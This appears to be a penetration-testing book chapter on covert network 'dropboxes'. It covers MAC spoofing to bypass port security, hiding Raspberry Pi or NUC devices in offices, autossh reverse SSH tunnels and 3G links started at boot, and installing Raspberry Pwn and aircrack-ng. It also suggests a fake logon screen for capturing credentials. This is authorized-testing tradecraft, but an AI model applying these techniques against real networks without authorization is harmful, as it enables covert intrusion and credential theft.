Cable and live port testers

Typical cable testers require access to both ends of the physical network cable, making them little use in this scenario. If a consultant walks into a room full of patch ports, how do they quickly determine which ports are live, so that they can shave some time off their testing? There is an equipment available that can do this, although most of the options are prohibitively expensive.

The first option is the Smartronix LinkCheck—http://www.smartronixstore.com/index.cfm?fuseaction=product.display&Product_ID=18.

It is a small device that will determine link availability as well as the speed of the connection. They retail at about $60 and are probably the most cost-effective way to perform basic checking of network connections.

Smartronix also makes a more expensive device, the Linkup, which can put data onto the wire for more exhaustive testing.

The next option is to look at devices made by Fluke Networks, but these will typically cost thousands of pounds. They are very cool pieces of kit and massively useful if working with large enterprise networks but are difficult to justify in a pentesting or social engineering business. These devices will do everything from physical connectivity testing to Dynamic Host Configuration Protocol (DHCP) testing. They are also capable of packet captures. The devices ship with a full-color touch screen for analysis and reporting purposes.

What about using a Raspberry Pi with an LCD screen to display network status and IP Address details? The use of the RaspberryPi is covered in the dropbox section within this chapter, as well as touching upon the Adafruit LCD Plate, which would display the IP address.

The most realistic option is to use a netbook, which can double as a penetration-testing hacktop.

Netbooks

Netbooks are low-cost laptops that are both small and reasonably powerful. These can be picked up for less than $250 with dual core CPUs and enough RAM to run Kali or similar Linux distributions. For example, a cursory search of a popular online shopping retail outlet had a number of new and used netbooks, including the lower end availability being a brand new WolVol BLACK 10″ laptop with WiFi and camera (Android 4.2, dual core processor, 8 GB HD) for a mere $149.94. An extended battery will provide 6–8 h of life, making them absolutely ideal companions for any social engineer.

However, the author’s have a handful of higher specification Asus EEE-PCs of various shapes and sizes that are used in such engagements.

Because of their size, they are easily secreted about the person, in either a large pocket or a briefcase. They are also easily hidden within the corporate environment and used as a dropbox.

For the cost and benefit they should be considered essential items in the toolkit.

What subnet am I in?

DHCP is heavily relied upon in many networked environments, especially for client access, but what if DHCP is not available? How can information on the local subnet and the hosts in it be gathered?

Simply put, by running packet sniffing software to figure out who is talking out there. Wireshark, TShark, or TCPDUMP are the tools of choice. Obviously, because there is no IP address, there won’t be sight of any unicast IP traffic, but broadcasts will be seen, such as Address Resolution Protocol (ARP) traffic. This can be an instant giveaway as to the local IP address range and can often indicate the default gateway too. The default gateway will almost always be the first or last address in a given subnet, for example.1 or.254.

Cisco Discovery Protocol (CDP) can also be leveraged to provide useful information. The CDP packet will contain IP addresses and Virtual Local Area Network (VLAN) tags that can both be used when connecting to networks or spoofing packets.

Don’t forget to look for Dynamic Trunking Protocol (DTP) packets while connected. It may be possible to establish a trunk to the switch and be placed in the VLAN of choice. Tools like Yersinia can be useful in these scenarios.

There is always the risk of assigning an IP that belongs to another host, so bear this in mind when testing.

Port Security

Port Security and 802.1x are mechanisms for protecting against rogue devices in switched networks. Through various means they control which physical devices can connect, what they get access to, and how they have to be configured to get access. Simple solutions rely on MAC address filtering, while more complex solutions install software agents and measure a system’s security posture before allowing it onto the network. Authentication can also be handled using a combination of certificates as well as user authentication.

But what about devices that can’t have an agent or certificate installed on them? How are they authenticated in such environments? Sadly, the answer is usually by their MAC address. What that means to us is that all we need is the MAC address of a trusted device. Look around for a VoIP phone, printer, or thin client as all of these are commonly added to the MAC Address Bypass (MAB) list. Each of these device types commonly has the MAC address printed on a sticker somewhere on the device.

Spoofing the MAC address is simple. In Kali, we would issue the following command:

root@pentest:/home/# ifconfig eth0 down

root@pentest:/home/# macchanger -m BE:EF:BE:EF:BE:EF eth0

Permanent MAC: 00:0c:29:ed:1d:af (VMware, Inc.)

Current MAC: 00:0c:29:ed:1d:af (VMware, Inc.)

New  MAC: be:ef:be:ef:be:ef (unknown)

This command should work for most Linux distributions.

On OSX, do this:

sudo ifconfig en1 ether BE:EF:BE:EF:BE:EF

Simple as that!

In Windows operating systems applications can be downloaded, such as Etherchange—http://ntsecurity.nu/toolbox/etherchange/. It is also possible to change the MAC address within the registry.

Dropbox challenges

Imagine being on the inside of a building, without authorization, and with a need to plug and run, what is likely to get in the way? Some of these challenges were hinted at when talking about live ports, and no DHCP addresses, earlier in the chapter.

First of all, the dropbox needs to be reasonably small, enabling it to be hidden away under a floor panel somewhere or in a cable tidy basket. It needs to be able to run a Linux distribution of some description and be usable at that. It is also vital that once it has been plugged in, that it is clear that the port it’s connected to is live. Indicator lights on the device is a good start, but a screen showing that the device has picked up an IP address is also useful. Connectivity on the device is a requirement too. There might be a need to add a USB wireless adapter for packet injection, or a 3G dongle for remote control. It will obviously need a wired network port.

The device doesn’t need to be blazing fast either, as there are plenty of lightweight Linux distributions available. Obviously though, the more power we have the better, it just needs to be tempered by the small size requirement.

The system in question would also need to be able to boot reasonably quickly. After all, spending a lot of time waiting for the device to come online should be avoided. The chances are that there will be a limited window to perform the task and so as not to get caught in the act.

So to sum up, the requirements are:

There are plenty of options available that meet some or all of the above requirements. Some are stronger in certain ways but suffer in others. For example, a very powerful machine would probably not meet the size requirements, although as will be discussed shortly, there are some small and powerful options available. The key word here is always going to be “compromise.” If the desire is for something small and cheap, it certainly won’t be powerful too.

It probably won’t surprise you to hear that there is already a commercial option that is available in this field.

Pwnie Express

The guys over at http://pwnieexpress.com have been making penetration test dropboxes for some time. It all started with the PwnPlug, which is basically a mains power plug with a tiny computer built in. These devices are pretty easily hidden in a busy office environment. Given that power sockets are often near network sockets it is certainly a good form factor for a covert device. Pwnie Express makes several variations of these devices, including the “PowerPwn” which is a fully functional eight-way power supply. These products include a Linux distribution with penetration-testing tools built in, as well as cool functionality such as 3G/4G adapter so that you can dial home.

The only drawback to these products, especially for the hobbyists out there, is the cost. The “PwnPlug Elite” is $995 and the “PowerPwn” sits at $1495. These devices are aimed more at organizations that perform this kind of work on a weekly basis and therefore would offer good value for money.

So what self-build options are out there if this was the preferred choice?

RaspberryPi

Anyone who hasn’t come across the RaspberryPi already, have most likely have been living in a cave for the last few years. The RaspberryPi has seen incredible uptake since its announcement and has been the subject of intense media coverage. All of this is for good reason, of course, the RaspberryPi is a really cool piece of equipment.

Basically, the Pi is a credit card-sized computer, packing either 256 or 512 MB of RAM, an 800 MHz ARM CPU, wired network, and USB. All of this for the princely sum of around $25. It was developed as an extremely low-cost computer to help get kids back into programming, but has seen massive uptake in the modding and hacking community too. There are wide-ranging projects out there from automated bird feeders to home automation systems. The Pi’s exceptionally low power consumption means that it can also run from battery packs for extended periods of time.

How does the Pi fit the requirements? Well, it certainly ticks the box for size, at a diminutive 85.60 mm×56 mm×21 mm and weighing only 45 g it’s hard to argue against this point. The SD card it will use for the operating system will stick out a little beyond those dimensions, however.

It doesn’t ship with a screen, but there are a few LCD options available that can be built into the Pi. Some are USB controlled and powered, some plug straight into the headers on the Pi itself. In either case, displaying the IP address is certainly achievable. An alternative option is to use one of the tiny color TFT screens used for reversing systems built for cars. All of this can be picked up on eBay and http://www.adafruit.com. The use of an Adafruit LCD will be covered later in the chapter.

The Pi also has indicator lights for power, disk activity, network link, duplex, and speed, providing information that it has connected to a live port. Boot times with most operating systems are certainly around the minute mark too. A good Raspbian build starts responding to pings in around 30 s, and will accept Secure Shell (SSH) connections in around 35 or so.

The Pi’s popularity means it also has support from a lot of the major Linux distributions, many of which offer Pi-specific images. Better yet, Kali Linux—www.kali.org—also offer a Pi image, which works very nicely as well. The image is larger than most Pi distributions and will require an 8 GB SD card, but these are not expensive.

The only thing of note is that the Pi only has 512 MB of RAM, so there are tight working constraints here. It’s not going to set any speed records, let’s put it that way, but it is more than usable for most tasks (Figure 12.1).

Intel NUC

If power is the priority, then the Intel NUC is the “stand-out” piece of tech, at the moment. Not only is the NUC small, but the latest version packs an Intel Core i5 CPU. The NUC is bought as a barebones device, into which memory, Solid State Storage (SSD), and a wireless card can be installed. It also has physical network ports on board. As much as 16 GB of RAM can be installed inside these tiny computers, meaning that they absolutely fly for this kind of application. It was no joke, either, when they are described as being small; sitting at 4″×4″×2″ they are certainly easy to hide away in places where they are unlikely to be found. They also have another useful attribute as a dropbox, they come with a VESA compatible mount. This means they can be mounted to the back of a monitor at a hot desk and they are likely to go unnoticed for extended periods of time, especially if the LED power light is masked with isolation tape.

Because they run mSATA SSDs instead of mechanical disks, these little computers boot in seconds.

For all this power some sacrifices must be made though. It is bigger than the Pi for example, and probably won’t be running for extended periods on a battery if required. It also doesn’t come with a screen or any easy way to build one into the case. However, this could be managed with the use of an external monitor or a remote colleague providing information as to when it has established the required connections. It is also not a cheap way to go about the task, although an Intel Celeron version is available at a lower price point. It certainly does tick all other boxes though, and from a speed and flexibility point of view the Pi just can’t touch it.

The NUC motherboards are available to buy as a stand-alone item and could be built into a customized case with a screen. The standard NUC barebones case doesn’t really have any spare room for gadgets (Figure 12.2).

Also rans

If the device has to be even smaller than the Pi, there are some other options out there. First of all, the Android-based Mini PC, the MK802 type devices are a reasonable option. They are a little larger than USB memory sticks and pack a quad core ARM processor and 2 GB of RAM! They are certainly little powerhouses. It should be possible to get one of the ARM branches of Kali running on the system. They are also pretty cheap, currently around £60. Of course though, their tiny dimensions mean some limitations apply. There is no chance of a screen being built into the case, for example, and they do not have wired Ethernet. A USB to Ethernet dongle would solve the issue, but this will add to the size of the device with each new toy. It would still end up being a powerful and small “dropbox” though. Because the device plugs straight into a monitor there could be room for an alternative dropbox mode. How about faking an application to capture credentials? When a user turns on the monitor, they get what looks like their domain logon screen, but it is actually the “dropbox.” However, the consultant would need to be close by to be able to pick it up quickly, because the first IT guy that came and looked at the problem would likely smell a rat and take it away.

Another device on the horizon is the CuBox—http://cubox-i.com.

These tiny devices are very much in the mold of the Pi but will run quad core CPUs and have 2 GB of RAM. Again, these devices are ARM CPU based, so will run most of the Linux distributions out there with a little hacking. They measure 2″×2″×2″ and come complete with Gigabit Ethernet. Again, any peripherals or screens will not fit into the case, so they would have to be external. Alternatively a custom case could be 3D printed. The CuBox is also very cost-effective, meaning several could be available, without breaking the bank.

Part 1—download the operating system

It is incredibly important to ensure that you get the correct image for the Pi. There have been component changes to the Pi as new revisions have been released which leave some older distributions un-bootable. An indication of this is that the red “Power” light will come on and the “Activity” light will flash once. The Pi will then do precisely nothing. At the time of writing the latest Raspbian image works perfectly, even with the newer Hynix memory that is shipping on recent RaspberryPi hardware.

Go to http://www.raspberrypi.org/downloads and download the current Pi version of Raspbian. Raspbian is a lightweight version of Debian built specifically for the Pi.

Part 2—write the operating system to the card

As previously mentioned, the SD card will need to be imaged using either a dedicated application, or if command line inclined, “dd.” This process is largely very safe, but without due care and attention this could end up wiping the wrong disk. Measure twice and cut once is the methodology to follow in this case.

On OSX, use RPi-SD card builder, the process is as follows:

There are alternative ways to image the SD card, for example, using the command line tool “dd” to achieve the same results. Using an application means less chance of accidentally destroying data, however.

If using Windows, win32diskimager is a good option—http://sourceforge.net/projects/win32diskimager/. It’s simple enough; point it at the image, tell it where the SD card is, and wait for the job to complete.

Part 3—postinstallation tasks

There are one or two things that are required to finish things up. First of all, a full update of the operating system. Then install any custom tools, as required. It is also highly recommended that the default password be changed!

To log onto the Pi, enter the username “pi” and the password “raspberry.”

Change the password:

root@raspberrypi:~# sudo passwd pi

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

root@raspberrypi:~#

Update the operating system:

root@raspberrypi:~# sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

This could take a while, especially if the connection is not particularly fast, it might be worthwhile going away and grabbing a coffee, as it could be a long wait!

It is possible to SSH onto the Pi for those who want to run in a headless (without a monitor) configuration. There may also be a need to expand the file system if an SD card, larger than 8 GB, is used. Raspbian will boot into a menu, allowing the partition size to be changed automatically, assuming that a keyboard and monitor is being used. If SSH has been used to remotely connect to the Pi, the script can be executed manually with sudo. /raspbpi-config (Figure 12.4).

Setting up certificate-based authentication

Step 1: First of all, log onto the Pi and generate an Rivest Shamir and Adleman (RSA) key. Ensure that this is being run as root. This can be checked with the command “id.”

root@raspberrypi:~# ssh-keygen -t rsa

Accept the default filename and do not configure a passphrase when prompted. This can be changed to fit with any organizational policies when deploying live devices.

Step 2: Next, transfer the public key from the Pi to the server that will be accepting the SSH connections.

root@raspberrypi:~# ssh-copy-id -i /root/.ssh/id_rsa.pub root@myserver

root@myserver’s password:

Assuming that the password has been entered for the server, a success message should be received, indicating that the key has been added. This should now enable SSH between the Pi and the server, without you having to enter a password.

root@raspberrypi:~# ssh [email protected]

The authenticity of host'192.168.1.156 (192.168.1.156)' can't be established.

ECDSA key fingerprint is f6:ff:45:04:2b:f4:33:42:34:a2:f2:06:78:da:f6:52.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added'192.168.1.156' (ECDSA) to the list of known hosts.

Welcome to Ubuntu 12.10 (GNU/Linux 3.5.0-17-generic x86_64)

* Documentation: https://help.ubuntu.com/

 System information as of Mon Sep 16 22:09:51 BST 2013

 System load: 0.35   Processes:   79

 Usage of /: 5.7% of 18.45 GB Users logged in: 1

 Memory usage: 4%   IP address for eth0: 192.168.1.156

 Swap usage: 0%

 Graph this data and manage this system at https://landscape.canonical.com/

Last login: Mon Sep 16 22:09:06 2013

root@ubuntusrv:~#

Typically, that’s all that is needed to get it up and running with certificate authentication. If the connection fails, check the sshd_config which is in/ etc /ssh and have a look for the following values.

A default Ubuntu server-build worked fine after setting a password for the root account. Your mileage may vary! It’s always worth checking the logs in /var/log for any obvious issues. Additionally, a verbose SSH connection may be run from the pi with ssh -vvv root@myserver. This should aid any troubleshooting issues.

Creating the SSH reverse tunnel

So this is the cool bit. We are going to tell the Pi to connect back to our server, which in most cases will be in our data center. It will establish an SSH connection and tell the server to open up a new port, such as TCP/5555. The server can then be logged in to establish an SSH connection to “localhost” on port 5555. This will then be forwarded back down the already established tunnel to the Pi. This method bypasses any inbound access control, as the Pi has made an outbound connection. It is simply a case of piggybacking in on it. Admittedly, this concept can be confusing at first, so let’s configure it and see how straightforward it is.

Let’s start with the basic command, which is to be issued on the Pi.

root@raspberrypi:~# ssh -N -R 5555:localhost:22 [email protected]

Let’s break this down a bit. We have created an SSH session from the Pi to the server 192.168.1.156 with the user root. It didn’t need a password as we have already set up certificate-based authentication. The -N command switch is “Do Not Execute A Remote Command,” because all we want to do is forward traffic. The -R option is telling the server to open or bind a new port, in this case 5555 on localhost.

So what is the impact of this? Simply put, if we log into our server and SSH to localhost on port 5555 we should find out.

root@ubuntusrv:~#ssh -l pi -p 5555 localhost

pi@localhost's password:

Last login: Tue Sep 17 19:26:23 2013 from localhost

pi@raspberrypi ~ $

Success! All inbound access control has been subverted and we are now logged into a device on the inside! Of course, things aren’t always so easy in the real world, especially in high-security environments. Some obvious things to try would be configuring the server to listen for SSH connections on TCP/443, thus bypassing basic firewall features on the way out of the network.

Making it stick

Ok, so that’s covered the basics of getting the SSH session up and running, but this needs to be made more reliable. It’s not going to be possible to go back and restart a session when it crashes. The consultant might even be hundreds of miles away when it does!

There are a few options available to ensure that this doesn’t ruin the day. For example: “autossh.” Autossh will set up and monitor any SSH tunnels, restarting them as needed. This way, anywhere a little Trojan horse is plugged in, it will reassuringly dial home, enabling the completion of the test from a remote location.

Start by installing autossh on our Pi.

pi@raspberrypi ~ $ sudo apt-get install autossh

Next we need to test that autossh is working and get it to set up a tunnel. Let’s start by refreshing our memory on the earlier reverse SSH example, which hopefully you had working too!

root@raspberrypi:~# ssh -N -R 5555:localhost:22 [email protected]

Remember, this works without a password because we previously set up certificate-based authentication. Now let’s take a look at setting up an identical session but with autossh.

pi@raspberrypi ~ autossh -M 13000 -f -N -R 5555:localhost:22 [email protected]

That’s all there is to it! What is happening here? Is that autossh is being instructed to monitor it’s SSH connection using port 13000. Any port can be chosen for this task, it’s irrelevant to the functionality. Just choose a high port for the time being. The -f command switch runs autossh in the background. The rest of the command is a like-for-like copy of the original reverse SSH command. Surprisingly easy isn’t it? Let’s add a couple of extras in there for reliability.

pi@raspberrypi ~ autossh -M 13000 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -f -N -R 5555:localhost:22 [email protected]

Ok, so there is one other task remaining, and that is to ensure that the tunnel is established at boot. After all, it is best to avoid configuring this thing during an engagement, isn’t it? The perfect approach is to be able to plug it in and walk away right?

It is an almost certainty that each different person asked will have a different way to do this, so go with the one that suits best. For example: edit the /etc/rc.local file by adding the command before the “exit 0” line. The end of the file should look like this.

# autossh tunnel at boot

autossh -M 13000 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -f -N -R 5555:localhost:22 [email protected]

exit 0

Now a device has been created that can plug into the target network. It will automatically bring a reverse SSH tunnel up at boot and monitor it for issues. It will rebuild any failed SSH tunnels too! But what is to be done if the device does not have outbound SSH access or if all outbound access is filtered by a proxy? How about adding 3G/4G support to this little box of tricks?

Choosing a dongle

This one can be a minefield, believe me! I am successfully using a Huawei E160 USB stick type dongle and a Three UK SIM card. This combination seems to work reliably. A list of verified 3G dongles can be found at: http://elinux.org/RPi_VerifiedPeripherals#USB_3G_Dongles.

One thing to pay special attention to is power usage. Running the Pi and a 3G dongle from a USB power source won’t always cut it so why not consider using a powered USB hub to ensure reliability.

I would definitely recommend trying any you have lying around, you might just get lucky. If not, you can pick up E160s on eBay and Amazon for relatively little outlay. One of the nice things about the E160 is that it has a socket for external antennae. This can improve connection reliability in low signal areas.

Setting up the cellular connection

Two applications are going to be used to get this rolling. The first is called “Sakis3g,” which is a Linux toolset for connecting to 3G networks. Sakis3g can be found at: http://www.sakis3g.org. This site has been patchy at best of late, so alternative download locations for the software may need to be sought. Try the one at sourceforge http://downloads.sourceforge.net/project/vim-n4n0/sakis3g.tar.gz or by using the Way Back Machine http://web.archive.org/web/*/http://www.sakis3g.org/.

We are also going to be using “umtskeeper”—http://mintakaconciencia.net/squares/umtskeeper/. This application basically uses the Sakis3g script to make the actual connections, but then ensures they are reliable. Much like the autossh script, umtskeeper will restart the data connection as needed.

The first thing to do is check that a 3G connection can be achieved. Sakis3g can be used for this task. Sakis is a very simple-to-use application, it’s all menu driven so should be very straightforward to get going. All you need to do after extracting it is run sudo./sakis3g —interactive.

You will be presented with a menu as depicted in Figure 12.5.

Assuming that the hardware is compatible, and the SIM will work in the dongle, all that is really needed is to choose “Connect with 3G.” Very occasionally there maybe may need to choose option 2 “Only Prepare Modem....” Once that process has finished, it’s back to option 1 again. Sakis will confirm if the connection was successful. You can confirm this yourself by running ifconfig which should now show a ppp interface. Try pinging 8.8.8.8 (Google DNS) to confirm outbound access too.

Making it stick

Now it has been confirmed that the dongle, SIM, and Sakis are working correctly, let’s configure “umtskeeper” to look after things. This will be slightly more complicated than just using Sakis alone, but at least it will alleviate the need to keep returning so as to build the connection again.

First of all, after extracting “umtskeeper” on the Pi, copy the sakis3g executable into the same folder. This is so that “umtskeeper” knows where to find it easily. From here it’s a command line affair. Let’s take a look at the command that was used to get this working on the Three UK network.

pi@raspberrypi ~ $ sudo ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' APN_USER='' APN_PASS="""

The Three UK network does not require an APN username or password, so each of these values is blank. It is essential that checks are made with the cellular data provider to confirm what each of the settings should be. The APN can be obtained from the cellular provider, which in this case was three.co.uk. The USBMODEM value can be found by running lsusb on the Pi with the dongle plugged in. Here is an example output:

pi@raspberrypi ~ $ lsusb

Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp.

Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp.

Bus 001 Device 004: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E230/E270/E870 HSDPA/HSUPA Modem

As you can see, the ID value in the output is what we use in the USBMODEM value of our umtskeeper string. Let’s run the command and see what happens.

pi@raspberrypi ~ $ sudo /home/pi/umtskeeper/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' APN_USER='' APN_PASS=""" &

[1] 3692

pi@raspberrypi ~ $ ---

2013-09-19 21:04:05 Start: PID = 3693

2013-09-19 21:04:05 Sending SIGTERM signal to running program instance with PID=400.

2013-09-19 21:04:05 stats period = 8 s, connection check period = 32 s

 Internet status:

 Network link status on ppp0: unknown

 Cell network: Connected.

2013-09-19 21:04:15 Internet connection is DOWN. Calling Sakis3G connect...

 Sakis3G cmdLine: nice /home/pi/umtskeeper/sakis3g connect USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' APN_USER='' APN_PASS=

 Sakis3G says...

 E160 connected to 3 (23420).

2013-09-19 21:04:25 Testing connection...

2013-09-19 21:04:34 Success... we are online!

pi@raspberrypi ~ $ ifconfig ppp0

ppp0  Link encap:Point-to-Point Protocol

   inet addr:10.128.9.181 P-t-P:10.64.64.64 Mask:255.255.255.255

   UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1

   RX packets:97 errors:0 dropped:0 overruns:0 frame:0

   TX packets:130 errors:0 dropped:0 overruns:0 carrier:0

   collisions:0 txqueuelen:3

   RX bytes:12363 (12.0 KiB) TX bytes:16949 (16.5 KiB)

It worked! We now have a live 3G connection for our Pi to play with. At least I hope you do too. If it didn’t work, try and verify that your cellular provider settings are correct. There are plenty of help forums out there that should be able to point you in the right direction.

So, is that it? Not quite. Now it is important to ensure that this connection comes up at boot and that it stays up. Again, by adding the command to the /etc/rc.local file so that the 3G connection launches at boot. Here is what I added.

/home/pi/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' SIM_PIN='1234' APN_USER='0' APN_PASS='0'" --sakisswitches "--sudo --console" --devicename'Huawei' --log --silent --monthstart 8 --nat'no' &

It can take a little while to bring the interface up after booting, but it does work, and reliably too. This is evident, by having an LCD screen attached to the Pi that displays the IP address of both the eth0 interface as well as the ppp0/3G interface. This will be looked at in more detail later in the chapter when looking at other useful hardware.

Here is a summary of what we have so far.

Now, the little dropbox can provide a hop off point into a customer network, let’s look at getting some useful tools installed to make it even better.

Installing Raspberry Pwn

Start by installing git on the Pi, then cloning the Pwnie Express files.

pi@raspberrypi ~ $ sudo apt-get install git

pi@raspberrypi ~ $ git clonehttps://github.com/pwnieexpress/Raspberry-Pwn.git

At this point, try changing into the Raspberry-Pwn directory with cd Raspberry-Pwn and run the installation script.

pi@raspberrypi ~/Raspberry-Pwn $ sudo./INSTALL_raspberry_pwn.sh

   === Raspberry Pwn Release 0.2 ===

 A Raspberry Pi Pentesting suite by PwnieExpress.com

----------------------------------------------------------------

 This installer will load a comprehensive security pentesting software suite onto your Raspberry Pi. Note that the Debian Raspberry Pi distribution must be installed onto the SD card before proceeding. See README.txt for more information.

Press ENTER to continue, CTRL+C to abort.

Eventually, something like this message should be seen:

[+] Exploit-DB installed in /pentest.

[+] Setting default RAM allocation (disabled!)

[!] If your RPi board only has 256 MB ram please set split to

 224/32 using raspi-config.

---------------------------------------------------------------

Raspberry Pwn Release 0.2 installed successfully!

---------------------------------------------------------------

[+] In order for the new RAM allocation to take effect, we must

[+] now reboot the pi. Press [Ctrl-C] to exit without rebooting.

After rebooting the Pi, there should be a shiny new “pentest” directory brimming with tools to assist in any further endeavours (Figure 12.6)!

The Adafruit Pi Plate—http://www.adafruit.com/products/1110

While going into the ins and outs of soldering this kit together is way beyond the scope of the book, it’s worth having a brief look at how it works.

The kit is basically a set of components that you will have to solder yourself. Don’t let this put you off though the process is really straightforward and suitable even for a beginner. You will need a reasonably steady hand, however! Adafruit has a step-by-step guide for the assembly of the Pi Plate here: http://learn.adafruit.com/adafruit-16×2-character-lcd-plus-keypad-for-raspberry-pi/assembly.

What better way to introduce yourself to soldering? You can pick up reasonably cheap kits online which include all the necessary parts. I got one with a decent soldering iron, solder, stand, spare tip, solder sucker, and a set of helping hands. There is nothing better than building something like this and then seeing it outputting the information you choose to screen. Just to give you a final push on this, I had never soldered prior to building this plate, and managed just fine. Just take your time, read a few soldering guides and go slowly.

Figure 12.7 shows the kit in its unassembled state.

Once assembled, the Pi Plate plugs into the General Purpose Input/Output (GPIO) headers on the motherboard itself. Because it is not soldered directly to the Pi, it can be removed for projects that don’t require the screen, for example, if you need to fit it into a smaller case (Figure 12.8).

The hardware uses Python to control what is displayed. Adafruit supplies a lot of example scripts that can be adapted for many uses. For example, they supply an IP clock script, which unsurprisingly displays the IP address on one line, and the time on another. This script was modified to display the IP address of the Ethernet interface on one line, and the IP address of the 3G PPP interface on the other. That way, it is clear that when it is plugged in that it has a connection to both networks, enabling the consultant to walk away.

The code is included below:

#!/usr/bin/python

from Adafruit_CharLCDPlate import Adafruit_CharLCDPlate

from subprocess import *

from time import sleep, strftime

lcd = Adafruit_CharLCDPlate()

cmd = "ip addr show eth0 | grep inet | awk'{print $2}' | cut -d/ -f1"

cmd2 = "ip addr show ppp0 | grep inet | awk'{print $2}' | cut -d/ -f1"

lcd.begin(16,1)

def run_cmd(cmd):

  p = Popen(cmd, shell=True, stdout=PIPE)

  output = p.communicate()[0]

  return output

while 1:

  lcd.clear()

  ipaddr = run_cmd(cmd)

  ipaddr2 = run_cmd(cmd2)

  lcd.message(ipaddr2)

  lcd.message(ipaddr)

  sleep(1)

What should it look like when it’s running on our hardware is in Figure 12.9.

The display refreshes every second, as dictated by the line that reads sleep(1). You can change this to suit your needs. If you unplug the Ethernet interface, or the 3G dongle for that matter the display will stop showing the relevant IP address. It may take 10 s or so for it to catch up, however.

As you can see from the script, you could pass any command line string and display the results. You are limited only by your imagination on this front.

There are several projects out there that relate to the use of these displays that are far more advanced than my simple hack job. I recommend looking at the “RoguePi” project over at http://crushbeercrushcode.org/2013/03/developing-the-rogue-pi/

Kalen Wessel, the man responsible for the project uses an RGB Pi Plate in his project. It changes color dependent on the circumstances. For example, it will run a connectivity check at start-up, resulting in a Green screen and a success message. If one of its tests fails, the screen turns red. Really slick stuff! He kindly includes the Python code used to do all of this, which makes it a must read in my opinion! Just be sure to buy the RGB version of the Adafruit Pi Plate to use his scripts!

Wireless dongles

Adding a wireless interface allows the flexibility to perform more attacks. First of all, it could be used to capture handshake packets, connect to corporate wireless, or host a rogue access point. Additionally, why not try just using it as a means of connecting back into the “dropbox” in the event that it loses its other modes of connectivity.

In terms of hardware, the Alfa dongles are usually a safe bet, however, it is worth noting that the older version (such as the trusty Alfa AWUS036H) does not support Wireless-N. Just a reminder here, a Pi will probably not take too kindly to having to power itself and the Wireless dongle. Use a powered hub for all peripherals.

It is more than likely that there will be a strong desire to have the Aircrack-ng suite installed on the Pi. It won’t be available from the repositories due to a conflict with iw, so it will need to be built from source. Luckily this isn’t very complicated.

Start by checking that the latest versions of “build-essential” and “libssl-dev” are installed and then commence downloading the Aircrack-ng package.

pi@raspberrypi ~ $ sudo apt-get install build-essential

pi@raspberrypi ~ $ sudo apt-get install libssl-dev

pi@raspberrypi ~ $ mkdir aircrack

pi@raspberrypi ~ $ cd aircrack

pi@raspberrypi ~ $ wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz

pi@raspberrypi ~/aircrack $ tar -zxvf aircrack-ng-1.2-beta1.tar.gz

Now it’s time to build the tools. Some of these steps make take a while!

pi@raspberrypi ~/aircrack $ cd aircrack-ng-1.2-beta1/

pi@raspberrypi ~/aircrack/aircrack-ng-1.2-beta1 $ make

pi@raspberrypi ~/aircrack/aircrack-ng-1.2-beta1 $ sudo make install

pi@raspberrypi ~/aircrack/aircrack-ng-1.2-beta1 $ sudo apt-get install iw

pi@raspberrypi ~ $ sudo airodump-ng-oui-update

Now let’s plug in the dongle and launch Airodump and see if everything is working!

pi@raspberrypi ~ $ sudo airmon-ng start wlan0

Interface Chipset   Driver

wlan0   Atheros AR9271  ath9k - [phy0]

   (monitor mode enabled on mon0)

pi@raspberrypi ~ $ sudo airodump-ng -w /home/pi/wirelesscap mon0

CH 1 ][ Elapsed: 32 s ][ 2013-09-21 12:02

 BSSID   PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

 12:FE:F4:07:A1:E8 -61  60  0 0 6 54e. OPN   BTWiFi-with-FON

 02:FE:F4:07:A1:E8 -61  68  0 0 6 54e. OPN   BTWiFi

 6 A:C6:1 F:E8:84:2D −70  125  0 0 1 54e OPN   BTWiFi-with-FON

 10:C6:1 F:E8:84:2B −69  164  8 0 1 54e WPA2 CCMP PSK BTHub3-P3HP

 6 A:C6:1 F:E8:84:2C −67  168  0 0 1 54e OPN   BTWiFi

  BSSID   STATION   PWR Rate Lost Frames Probe

  00:FE:F4:07:A1:E8 B8:8D:12:3A:75:00 -60 0 - 1  0  19

The choices here could be to stick with this kind of attack, attempting to capture and crack handshakes, or to try and set up a rogue AP. The preferred choice would be to deploy a wireless Pineapple alongside the “dropbox” for this attack vector. This could route the Internet traffic into the Pi and out of its 3G interface if so required.

Choosing a case for your dropbox

There is a massive choice of potential cases for a “dropbox” out there, but which is best suited to our specific task? That depends on how many add-ons are being deployed with the Pi. If it is being sent out there with a screen, wireless, and 3G dongle, it won’t fit in any of the standard ones. In such cases, why not try going for a small Pelican hard case, like the 1050? This case is big enough to fit the Pi and some extra goodies without any issue. However, it would need some modifications, so as to enable power and network cable access. It isn’t the smallest case out there, but it still could quite easily be hidden under a desk or floor plate without issue (Figure 12.10).

There are more discrete case types, those designed to be hidden in plain sight, such as OKW’s collection of plug cases that could work with some modifications—http://www.okw.co.uk/products/okw/plug.htm. However, these modifications can be quite extensive. For a start, the S-Video connector would need to be removed from the Pi, and the USB ports would have to be relocated too. This isn’t unprecedented, though, in fact some people have replaced the current USB ports with a USB header, and then attached an internal, powered USB hub to it. One such person is Oliver Jenkins, further information can be gleaned from here: http://www.oliverjenkins.com/blog/2012/6/changing-usb-socket-on-raspberry-pi.

Anyway, this is not for the faint of heart, and you can kiss goodbye to any warranty, at the very least! This is one of those ideas that is my list of things to do when I’m having a crazy day I think (Figures 12.11 and 12.12).

